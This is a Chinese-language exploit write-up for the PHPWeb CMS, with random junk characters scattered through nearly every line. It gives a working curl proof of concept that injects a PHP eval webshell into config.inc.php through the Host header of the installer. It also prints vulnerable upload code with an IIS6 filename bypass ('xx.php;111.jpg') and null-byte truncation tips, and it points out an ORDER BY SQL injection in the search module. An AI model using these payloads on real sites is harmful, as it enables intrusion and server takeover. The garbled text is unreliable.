注入:/ e# `8 e$ K- p2 x& @
/ W1 c9 u3 H5 l! {' L
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码: P5 [5 J7 ?% Y0 `2 t/ E
$ z9 v/ n k' A1 E- a
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件6 a* E& i3 J4 D/ a1 ~0 j
鸡肋2: 有一定安全常识的站长都会删掉 install 目录: O l4 r% o/ L
( F% O5 u2 b/ U, x* K4 u A虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响- y5 D$ e8 f' H- U& V1 [
1 f# ?# H3 q$ F# e
分析:
3 ^5 i0 b* C+ H) G+ | 7 n- o- G1 p. m; V) k% v
8 B( y+ s/ @2 I+ W* _( f" X5 s
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤$ W# ~8 T/ w! @! Y. Q$ O
! _5 @2 s/ U6 m" I6 |( g9 G $filestr = fread(fopen($SysConfigFile, 'r'),30000);
m4 j7 f2 _1 d$ s' _ $filestr=str_replace(" ","",$filestr);1 E" q! ^; N9 I8 [8 n0 h
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
9 J# M/ ]+ ]$ @ $filestr=str_replace("DefaultDbName",$dbname,$filestr);) R- b" m1 I5 |1 X: o8 G* q! p
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);* d$ b" e$ P1 r0 u4 A( e
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);2 e/ g$ f: s! }. Y" f
$filestr=str_replace("DefaultsLan","zh_cn",$filestr); G* k0 Q8 h# u/ N
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);0 E5 l% ?4 ^0 V2 S9 b/ j
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
1 q7 u4 ~. m8 h+ Q, z! o6 _ ; w- {1 ^* C: F# `2 A( a e; [
fwrite(fopen($ConFile,"w"),$filestr,30000);
7 f' |4 u6 U, `+ T8 l! e2 } ~$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^6 w! Q7 t# e! p: E6 W( u+ a
& S/ w2 `+ f/ ^" A; J* Epoc:
g! c9 c7 }+ l( z0 M" F. {5 r# p 6 Q/ n, ?. J' c9 f1 ?
?
- _3 c3 w1 X. g5 [" H# ^0 d1* |; w8 C( ^1 @6 V3 G4 i
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"+ O3 o# q: c& d4 \' k) M1 v* p2 ^
shell地址: /config.inc.php1 r5 E. p# Z. H+ [ Q, W
跟之前的 phpcms一样 需要远程数据库! \7 q( ~% P, C4 X/ S# B, W
9 B# |" d, k" U0 F+ J5 S
——————————————————–. q6 W* S' B! @. m4 V
上传漏洞(需要进后台):# B( L; q5 N: X. e8 |: H8 h# ^1 }
漏洞文件: /kedit/upload_cgi/upload.php. S. d( Q5 S0 E. z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
: E* O$ Y$ @; r+ S) W8 J; n6 G $ u; E! U6 w1 t; V# h6 d
0 r; u( B* ?; n6 m<?php( n7 I6 y' X; W% G
define("ROOTPATH", "../../");$ S, @' ?0 u4 i) _; \
include(ROOTPATH."includes/admin.inc.php");
+ z: o3 a% s7 O- l, O+ w NeedAuth(0);3 G' B& m) H; \0 w# {
8 S, ~: e! s0 k( L8 t' ~# F, Q, O $dt=date("Ymd",time());
* i" R9 T [. S+ w if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
% r2 B5 o# E9 j9 y9 |9 f, s @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
0 {' o, f9 I& R7 Y2 j" ? }
7 U% g5 A0 D1 P, V2 x I J% b ; d1 v2 j: }+ h, ]3 q2 B; F: {
//文件保存目录路径; c7 P+ ~0 F5 n# N
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
9 _* ? [8 o/ y Q; c% P2 h echo $save_path;1 b8 u* \' X/ p* q: Y! E
//文件保存目录URL" T6 ?0 P- j: N/ Q; U
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
4 j, E8 c D7 y1 s* K
/ A- k' B; z0 j- I: k //定义允许上传的文件扩展名3 T* R6 z! V: [
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
; ]' _: T$ z) ]4 M2 B4 W
8 Q' @4 k o" }7 o //最大文件大小
6 e" k0 @" I8 D" t. G( [9 N/ E2 h. d $max_size = 1000000;: ?- l, @. g% c
8 B7 }6 ^; P3 ~% q //更改目录权限
3 w, R X" g, E0 F# l @mkdir($save_path, 0777);
" F6 h4 W& _) j0 e u
. p/ S1 G# S+ ~/ n3 Z3 Z( ^( L5 g //文件的全部路径4 E3 w4 k, O$ s" l2 s* R7 f! `7 g, @
$file_path = $save_path.$_POST['fileName']; //保存文件名5 ?3 Z4 g) ?+ V4 w, @
0 t. m: `' p7 a- F5 w //文件URL3 K% W) {4 A* q, _
$file_url = $save_url.$_POST['fileName'];; W- K) u1 N/ D C
//有上传文件时0 k; |4 ]% u3 R3 q. G
if (empty($_FILES) === false) {% }" n* w, ^9 u5 k- o6 ~
2 u s$ o0 b* z+ r5 F //原文件名0 R6 r7 W% _( A; q+ E
$file_name = $_FILES['fileData']['name'];
3 Y) ^8 Q7 F0 m //服务器上临时文件名% r! W6 [: L: v
$tmp_name = $_FILES['fileData']['tmp_name'];
. }, Q* o3 W2 ]8 [ //文件大小9 T! |- l$ t/ w+ i. [7 x0 J6 v
$file_size = $_FILES['fileData']['size'];
6 f2 L& D' Q+ p9 T //检查目录, u' g9 u4 d; ~- ~; S, R
if (@is_dir($save_path) === false) {
0 e p- v1 r7 x0 ?: X2 Y4 X alert("上传目录不存在。");
Y/ v( x2 ^5 O. i1 W }
5 W7 Y& m' q7 {/ Z! [ //检查目录写权限8 c: r; t- F {
if (@is_writable($save_path) === false) {" \( V! u% A% c! ]
alert("上传目录没有写权限。");; q: ^* J j' ]8 ]
}
/ s: l# R% x5 x$ a0 K* }/ j" L //检查是否已上传$ `4 d- m2 p2 U3 l% n* v$ I: ^
if (@is_uploaded_file($tmp_name) === false) {
( N+ W3 ~$ G( W5 f3 l alert("临时文件可能不是上传文件。");
' P4 ~8 w: w& r ~! E! y. U _$ @ }3 @" Y0 z3 L( J) q/ }* b' E
//检查文件大小: p, {7 u) x9 a! O1 I# C
if ($file_size > $max_size) {8 P; P3 i6 H- g; n- ]* a
alert("上传文件大小超过限制。");
9 K# J7 B6 H1 r7 v% Z- w }4 b( u1 W# [3 d; X b" ^
//获得文件扩展名4 \3 }0 w- j1 [5 w+ [+ ?- q$ Q( C
$temp_arr = explode(".", $_POST['fileName']);' ?4 V8 D- u0 f D( ^
$file_ext = array_pop($temp_arr);
5 t, V3 Q8 x3 u8 y $file_ext = trim($file_ext);2 u/ m6 z, f* J+ g0 E% }
$file_ext = strtolower($file_ext);8 l; k/ A4 V7 n' E5 h m! h5 v
# }0 G5 j8 c' L+ ]+ W //检查扩展名
9 U; a, q. N9 q' M if (in_array($file_ext, $ext_arr) === false) {
2 {0 h O0 V. M e0 P- b alert("上传文件扩展名是不允许的扩展名。");5 G( z. u( Y- S9 V( {
}+ L% j4 `; c9 m( E, c; [
. A! s7 U1 b! h2 i) T$ t
//移动文件
' c: M$ B/ U! S //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^3 Z9 u; e+ \" E# V0 v* z
if (move_uploaded_file($tmp_name, $file_path) === false) {
8 R' [1 Q! o, }/ t/ A4 x7 i alert("上传文件失败。");
7 S7 \) e& c5 `9 H! u7 v }
1 e: |8 J/ j1 Q; P2 R! w) V* O ; H/ M( E' M* h: s4 ?
@chmod($file_path,0666);# I2 J, Q4 n4 H( s; s: U Q3 `. G% h
$ o- {4 K4 X' x( K, j( e ?>$ D6 r, ~) m# t7 O) ]. l
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
' N( \( |, V3 }( E# ~5 J : t4 p2 h4 ?9 v8 _' G; J; L+ b! @
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过8 m1 r- K7 c# D j
# K0 |/ O. B! ~) h/ Z6 X
——————————————————. ?9 C; i0 ^0 L% F5 I
注入漏洞:
; _% u" T0 V: ?漏洞文件:search/module/search.php
# v& S) o& l. t. g* E: Z! d5 }/search/index.php?key=1&myord=1 [sqlinjection]
! R$ q% c, ^% h9 T* J$ g) }, g
% f F' W& _) y3 B3 _2 [, U
" m" T2 ?4 y* }) U0 q, Y; P<?php p, D6 y, {& q \" l2 [
// ... 省略 n 行...+ x% a# X* j2 _7 d
//第18行:
- F* w: u- C: n $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响) T+ O5 O4 f) y/ ]$ U( m' K) Y' z" g3 `: b
$page=htmlspecialchars($_GET["page"]);3 A" ~& C7 K7 Z2 z1 M0 x
$myord=htmlspecialchars($_GET["myord"]);
2 Y$ \" {: `. \% {5 p1 ] 9 q3 P( k y3 o! `# E/ @5 ^
// ... 省略 n 行..." o! }' ^. C3 C6 ^
$key,$myord 两个参数带入查询8 x! W' \' q7 r. j% |
//第47行 $key:
" e. y7 v. c5 G# p5 b - A# N3 M+ D4 ]5 b/ r. G' N
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..% J$ A3 G' s2 Y/ Z. j5 z
; H& A8 d: M8 ^) \" _* j
//第197行 $myord$ U" B5 F, m3 |9 M( Q3 p n
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入5 N5 g* Z3 ~. L( ~/ v- l
! k* Y# M' M4 y8 v1 X
?>
& j5 z) ?. {6 I) I$ z; @ |